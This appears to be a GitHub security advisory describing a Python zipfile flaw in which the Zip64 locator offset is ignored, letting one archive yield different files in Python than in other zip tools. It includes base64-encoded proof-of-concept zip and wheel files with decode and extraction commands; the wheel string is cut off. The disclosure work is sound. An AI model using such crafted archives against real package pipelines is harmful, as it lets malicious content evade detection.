Python - Zip64 Locator Offset Vulnerability
Summary
It is possible to craft a zip file that, when parsed by Python's zipfile implementation, returns contents that are different from other common zip implementations. This is achieved because Python ignores the offset in the Zip64 locator record. Instead Python's implementation expects to see the Zip64 end-of-central-directory record immediately prior to the Zip64 locator record, and ignores the offset entirely. This means two Zip64 end-of-central-directory records can be present. One that is pointed to by the offset in the Zip64 locator record, and the other that sits prior to the Zip64 locator record.
In order for this to be exploitable, user interaction is required. An attack using this technique would require different zip parsing implementations to be used at different times during the handling of the zip file. For example, Python Wheel files and "uv".
Severity
Moderate - This vulnerability can be leveraged to hide malicious content that evades detection.
Proof of Concept
Single File Zip ####
The following base64 encoded string is a specially crafted zip file that serves as a simple proof-of-concept.
```shell
$ echo...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| Python Product | all versions | No fix yet |
Details and references
### Summary It is possible to craft a zip file that, when parsed by Python's zipfile implementation, returns contents that are different from other common zip implementations. This is achieved because Python ignores the offset in the Zip64 locator record. Instead Python's implementation expects to see the Zip64 end-of-central-directory record immediately prior to the Zip64 locator record, and ignores the offset entirely. This means two Zip64 end-of-central-directory records can be present. One that is pointed to by the offset in the Zip64 locator record, and the other that sits prior to the Zip64 locator record. In order for this to be exploitable, user interaction is required. An attack using this technique would require different zip parsing implementations to be used at different times during the handling of the zip file. For example, Python Wheel files and "uv". ### Severity Moderate - This vulnerability can be leveraged to hide malicious content that evades detection. ### Proof of Concept #### Single File Zip #### The following base64 encoded string is a specially crafted zip file that serves as a simple proof-of-concept. ```shell $ echo "UEsDBBQAAAAAAAAAIQBLlVV3CwAAAAsAAAALAAAAYm9yaW5nX2ZpbGVub3QgcHl0aG9uClBLAQIUAxQAAAAAAAAAIQBLlVV3CwAAAAsAAAALAAAAAAAAAAAAAAC0AQAAAABib3JpbmdfZmlsZVBLBgYsAAAAAAAAAC0ALQAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAA5AAAAAAAAADQAAAAAAAAAUEsDBBQAAAAAAAAAIQBh7IWUCgAAAAoAAAAHAAAAcHlfZmlsZWlzIHB5dGhvbgpQSwECFAMUAAAAAAAAACEAYeyFlAoAAAAKAAAABwAAAAAAAAAAAAAAtAGlAAAAcHlfZmlsZVBLBgYsAAAAAAAAAC0ALQAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAA1AAAAAAAAANQAAAAAAAAAUEsGBwAAAABtAAAAAAAAAAEAAABQSwUGAAAAAAEAAQA5AAAANAAAAAAA" | base64 -d > poc.zip ``` When unzipped in Python a file called py_file with the contents "is python" will be returned. When unzipped with other zip implementations, a file called boring_file with the contents "not python" will be returned. Extracting with Python: ```shell $ mkdir ~/py && cd ~/py $ python3 -c "import zipfile; zipfile.ZipFile('../poc.zip').extractall()" $ ls py_file $ cat py_file is python ``` Extracting with unzip (InfoZip): ```shell $ mkdir ~/unzip && cd ~/unzip $ unzip ../poc.zip Archive: ../poc.zip extracting: boring_file $ cat boring_file not python ``` Implementations that output boring_file include: - Go - java.util.zip (seek and streaming) - InfoZip (unzip) - MiniZip (zlib) - PHP - zip + async_zip Rust crates (seek and streaming) - Yauzl (npm) - net.lingala.zip4j (Maven) - libarchive (bsdunzip) #### Wheel #### The following base64 encoded string is a specially crafted wheel file, that further demonstrates the flaw and a potential attack scenario. ```shell $ echo "UEsDBBQAAAAAAAAAIQAi5N7ufAAAAHwAAAAlAAAAY2J3aGVlbHppcDY0LTAuMC4xLmRpc3QtaW5mby9NRVRBREFUQU1ldGFkYXRhLVZlcnNpb246IDIuNApOYW1lOiBjYndoZWVsemlwNjQKVmVyc2lvbjogMC4wLjEKU3VtbWFyeTogTW9yZSBteXN0ZXJpZXMKQXV0aG9yLWVtYWlsOiBDYWxlYiA8Y2FsZWJicm93bkBnb29nbGUuY29tPgpQSwMEFAAAAAAAAAAhAN1AXn1kAAAAZAAAACIAAABjYndoZWVsemlwNjQtMC4wLjEuZGlzdC1pbmZvL1dIRUVMV2hlZWwtVmVyc2lvbjogMS4wCkdlbmVyYXRvcjogZmxpdCAzLjEyLjAKUm9vdC1Jcy1QdXJlbGliOiB0cnVlClRhZzogcHkyLW5vbmUtYW55ClRhZzogcHkzLW5vbmUtYW55ClBLAwQUAAAAAAAAACEAXL6g5HABAABwAQAAIwAAAGNid2hlZWx6aXA2NC0wLjAuMS5kaXN0LWluZm8vUkVDT1JEY2J3aGVlbHppcDY0L19faW5pdF9fLnB5LHNoYTI1Nj01NTU0ZWNiZTNmOTYyMjk4Mzc3NDE1NzdhZTJkMmYyODVmMTUwOTYxOThmYWViZGFhYTFmNDVmMTlkMzQ5YjQwLDIxCmNid2hlZWx6aXA2NC0wLjAuMS5kaXN0LWluZm8vV0hFRUwsc2hhMjU2PTBmMmI3YTQ4MTdkYTZhYzU4NDk1NGFkNDQ2NDkyNzU0NTAxOTBjNzQ5M2MzMTgzNzNkYTRmMzZiYjQ1MjZlNDYsMTAwCmNid2hlZWx6aXA2NC0wLjAuMS5kaXN0LWluZm8vTUVUQURBVEEsc2hhMjU2PTkwNDc2ZGUxNDFiYzc4NzA0YjQzY2I4NjBhNDIzYTFmYTA0ZmU1NTc1ODQ3MjZhNzUxMWQyYTk0MTkyYzlmOTMsMTI0CmNid2hlZWx6aXA2NC0wLjAuMS5kaXN0LWluZm8vUkVDT1JELCwwMDAzNjhQSwMEFAAAAAAAAAAhAAnQ9UkVAAAAFQAAABgAAABjYndoZWVsemlwNjQvX19pbml0X18ucHlwcmludCgibWFnaWMiKQojINaEk5lQSwECFAMUAAAAAAAAACEAIuTe7nwAAAB8AAAAJQAAAAAAAAAAAAAAtAEAAAAAY2J3aGVlbHppcDY0LTAuMC4xLmRpc3QtaW5mby9NRVRBRE
- Severity from
- GitHub (reviewed advisory)